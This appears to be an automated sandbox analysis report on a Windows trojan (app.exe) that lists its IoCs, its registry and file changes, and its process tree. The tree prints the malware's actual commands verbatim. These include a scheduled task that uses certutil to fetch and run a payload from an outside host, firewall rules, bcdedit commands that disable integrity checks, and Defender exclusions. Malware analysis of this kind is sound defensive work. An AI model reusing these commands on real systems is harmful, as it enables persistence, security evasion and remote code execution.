57e17fa18d3864f208ee2636681b8ac0142625f0cb7f6929e15b63b350c99703

Analysis

max time kernel
101s
max time network
149s
platform
windows10_x64
resource
win10v20201028
submitted
17-11-2020 20:54

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General

Target

app.exe
Size

3.9MB
MD5

4326312f9b727db3ce640416919b4373
SHA1

462a3b5ba5bcdf4ea32d967ca0f7c90cbc191317
SHA256

57e17fa18d3864f208ee2636681b8ac0142625f0cb7f6929e15b63b350c99703
SHA512

4a5bb0167e2bf6553c3fa8bb6e85d6295be7ec63789a019b6afbe39119c0698e9841969df7d3cf53725ff19a9d796719fca3b94803e07df70d223c6f7af349d5

Score

10^/10

discovery evasion persistence trojan upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 1008 created 4048	1008	svchost.exe	app.exe
PID 1008 created 2652	1008	svchost.exe	csrss.exe
PID 1008 created 2652	1008	svchost.exe	csrss.exe
PID 1008 created 2652	1008	svchost.exe	csrss.exe
PID 1008 created 2652	1008	svchost.exe	csrss.exe

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Modifies boot configuration data using bcdedit 15 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
2060	bcdedit.exe
1020	bcdedit.exe
2456	bcdedit.exe
1620	bcdedit.exe
1180	bcdedit.exe
2700	bcdedit.exe
2296	bcdedit.exe
3880	bcdedit.exe
3048	bcdedit.exe
2060	bcdedit.exe
2740	bcdedit.exe
2456	bcdedit.exe
1620	bcdedit.exe
2692	bcdedit.exe
2700	bcdedit.exe

Drops file in Drivers directory 2 IoCs

Processes:

dsefix.execsrss.exe

description ioc process

File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe
File created C:\Windows\System32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 5 IoCs

Processes:

csrss.exepatch.exedsefix.exewindefender.exewindefender.exe

pid process

2652 csrss.exe
1196 patch.exe
1564 dsefix.exe
2092 windefender.exe
2824 windefender.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

description	ioc	process
File created	C:\Windows\system32\drivers\VBoxDrv.sys	dsefix.exe
File created	C:\Windows\System32\drivers\Winmon.sys	csrss.exe

pid	process
2652	csrss.exe
1196	patch.exe
1564	dsefix.exe
2092	windefender.exe
2824	windefender.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windefender.exe	upx
C:\Windows\windefender.exe	upx
behavioral2/memory/2092-47-0x0000000000400000-0x0000000000897000-memory.dmp	upx
C:\Windows\windefender.exe	upx

Loads dropped DLL 4 IoCs

Processes:

patch.exe

pid process

1196 patch.exe
1196 patch.exe
1196 patch.exe
1196 patch.exe

pid	process
1196	patch.exe
1196	patch.exe
1196	patch.exe
1196	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

app.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SpringNight = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\57f67627e14e.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\app.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\57f67627e14e = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	app.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

app.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\SpringNight = "\"C:\\Windows\\rss\\csrss.exe\""	app.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 4 IoCs

Processes:

app.execsrss.exe

description	ioc	process
File opened for modification	C:\Windows\rss	app.exe
File created	C:\Windows\rss\csrss.exe	app.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2212 schtasks.exe
2020 schtasks.exe

pid	process
2212	schtasks.exe
2020	schtasks.exe

Modifies data under HKEY_USERS 522 IoCs

Processes:

windefender.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-672 = "AUS Eastern Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1971 = "Belarus Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-352 = "FLE Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-272 = "Greenwich Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-335 = "Jordan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2432 = "Cuba Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-912 = "Mauritius Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-631 = "Tokyo Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-242 = "Samoa Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-601 = "Taipei Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-932 = "Coordinated Universal Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2531 = "Chatham Islands Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2061 = "North Korea Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2321 = "Sakhalin Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-561 = "SE Asia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-771 = "Montevideo Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1471 = "Magadan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-541 = "Myanmar Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-132 = "US Eastern Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2611 = "Bougainville Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-491 = "India Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-282 = "Central Europe Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-71 = "Newfoundland Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-51 = "Greenland Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-212 = "Pacific Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-632 = "Tokyo Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-652 = "AUS Central Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2492 = "Aus Central W. Standard Time"	windefender.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

app.exeapp.execsrss.exe

pid process

4048 app.exe
4048 app.exe
3372 app.exe
3372 app.exe
2652 csrss.exe
2652 csrss.exe
2652 csrss.exe
2652 csrss.exe
2652 csrss.exe
2652 csrss.exe
Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

624
624

pid	process
4048	app.exe
4048	app.exe
3372	app.exe
3372	app.exe
2652	csrss.exe
2652	csrss.exe
2652	csrss.exe
2652	csrss.exe
2652	csrss.exe
2652	csrss.exe

pid	process
624
624

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

app.exesvchost.execsrss.exesc.exe

description	pid	process
Token: SeDebugPrivilege	4048	app.exe
Token: SeImpersonatePrivilege	4048	app.exe
Token: SeTcbPrivilege	1008	svchost.exe
Token: SeTcbPrivilege	1008	svchost.exe
Token: SeBackupPrivilege	1008	svchost.exe
Token: SeRestorePrivilege	1008	svchost.exe
Token: SeBackupPrivilege	1008	svchost.exe
Token: SeRestorePrivilege	1008	svchost.exe
Token: SeBackupPrivilege	1008	svchost.exe
Token: SeRestorePrivilege	1008	svchost.exe
Token: SeBackupPrivilege	1008	svchost.exe
Token: SeRestorePrivilege	1008	svchost.exe
Token: SeSystemEnvironmentPrivilege	2652	csrss.exe
Token: SeBackupPrivilege	1008	svchost.exe
Token: SeRestorePrivilege	1008	svchost.exe
Token: SeBackupPrivilege	1008	svchost.exe
Token: SeRestorePrivilege	1008	svchost.exe
Token: SeBackupPrivilege	1008	svchost.exe
Token: SeRestorePrivilege	1008	svchost.exe
Token: SeSecurityPrivilege	1732	sc.exe
Token: SeSecurityPrivilege	1732	sc.exe
Token: SeBackupPrivilege	1008	svchost.exe
Token: SeRestorePrivilege	1008	svchost.exe

Suspicious use of WriteProcessMemory 61 IoCs

Processes:

svchost.exeapp.execmd.execmd.exepatch.execsrss.exewindefender.execmd.exe

description	pid	process	target process
PID 1008 wrote to memory of 3372	1008	svchost.exe	app.exe
PID 1008 wrote to memory of 3372	1008	svchost.exe	app.exe
PID 1008 wrote to memory of 3372	1008	svchost.exe	app.exe
PID 3372 wrote to memory of 648	3372	app.exe	cmd.exe
PID 3372 wrote to memory of 648	3372	app.exe	cmd.exe
PID 648 wrote to memory of 3912	648	cmd.exe	netsh.exe
PID 648 wrote to memory of 3912	648	cmd.exe	netsh.exe
PID 3372 wrote to memory of 2408	3372	app.exe	cmd.exe
PID 3372 wrote to memory of 2408	3372	app.exe	cmd.exe
PID 2408 wrote to memory of 2700	2408	cmd.exe	netsh.exe
PID 2408 wrote to memory of 2700	2408	cmd.exe	netsh.exe
PID 3372 wrote to memory of 2652	3372	app.exe	csrss.exe
PID 3372 wrote to memory of 2652	3372	app.exe	csrss.exe
PID 3372 wrote to memory of 2652	3372	app.exe	csrss.exe
PID 1008 wrote to memory of 2212	1008	svchost.exe	schtasks.exe
PID 1008 wrote to memory of 2212	1008	svchost.exe	schtasks.exe
PID 1008 wrote to memory of 2020	1008	svchost.exe	schtasks.exe
PID 1008 wrote to memory of 2020	1008	svchost.exe	schtasks.exe
PID 1008 wrote to memory of 1196	1008	svchost.exe	patch.exe
PID 1008 wrote to memory of 1196	1008	svchost.exe	patch.exe
PID 1196 wrote to memory of 2060	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2060	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 1020	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 1020	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2456	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2456	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 1620	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 1620	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 1180	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 1180	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2700	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2700	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2296	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2296	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 3880	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 3880	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 3048	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 3048	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2060	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2060	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2740	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2740	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2456	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2456	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 1620	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 1620	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2692	1196	patch.exe	bcdedit.exe
PID 1196 wrote to memory of 2692	1196	patch.exe	bcdedit.exe
PID 2652 wrote to memory of 2700	2652	csrss.exe	bcdedit.exe
PID 2652 wrote to memory of 2700	2652	csrss.exe	bcdedit.exe
PID 2652 wrote to memory of 1564	2652	csrss.exe	dsefix.exe
PID 2652 wrote to memory of 1564	2652	csrss.exe	dsefix.exe
PID 1008 wrote to memory of 2092	1008	svchost.exe	windefender.exe
PID 1008 wrote to memory of 2092	1008	svchost.exe	windefender.exe
PID 1008 wrote to memory of 2092	1008	svchost.exe	windefender.exe
PID 2092 wrote to memory of 3424	2092	windefender.exe	cmd.exe
PID 2092 wrote to memory of 3424	2092	windefender.exe	cmd.exe
PID 2092 wrote to memory of 3424	2092	windefender.exe	cmd.exe
PID 3424 wrote to memory of 1732	3424	cmd.exe	sc.exe
PID 3424 wrote to memory of 1732	3424	cmd.exe	sc.exe
PID 3424 wrote to memory of 1732	3424	cmd.exe	sc.exe

C:\Users\Admin\AppData\Local\Temp\app.exe
"C:\Users\Admin\AppData\Local\Temp\app.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4048

C:\Users\Admin\AppData\Local\Temp\app.exe
"C:\Users\Admin\AppData\Local\Temp\app.exe"
2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3372

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:648

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:3912

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2408

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e.exe" enable=yes
4⤵
PID:2700

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2212

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:2020

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1196

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:2060

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1020

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:2456

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:1620

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:1180

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:2700

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:2296

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:3880

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:3048

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:2060

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:2740

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:2456

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:1620

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
5⤵
- Modifies boot configuration data using bcdedit
PID:2692

C:\Windows\System32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2700

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:1564

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2092

C:\Windows\SysWOW64\cmd.exe
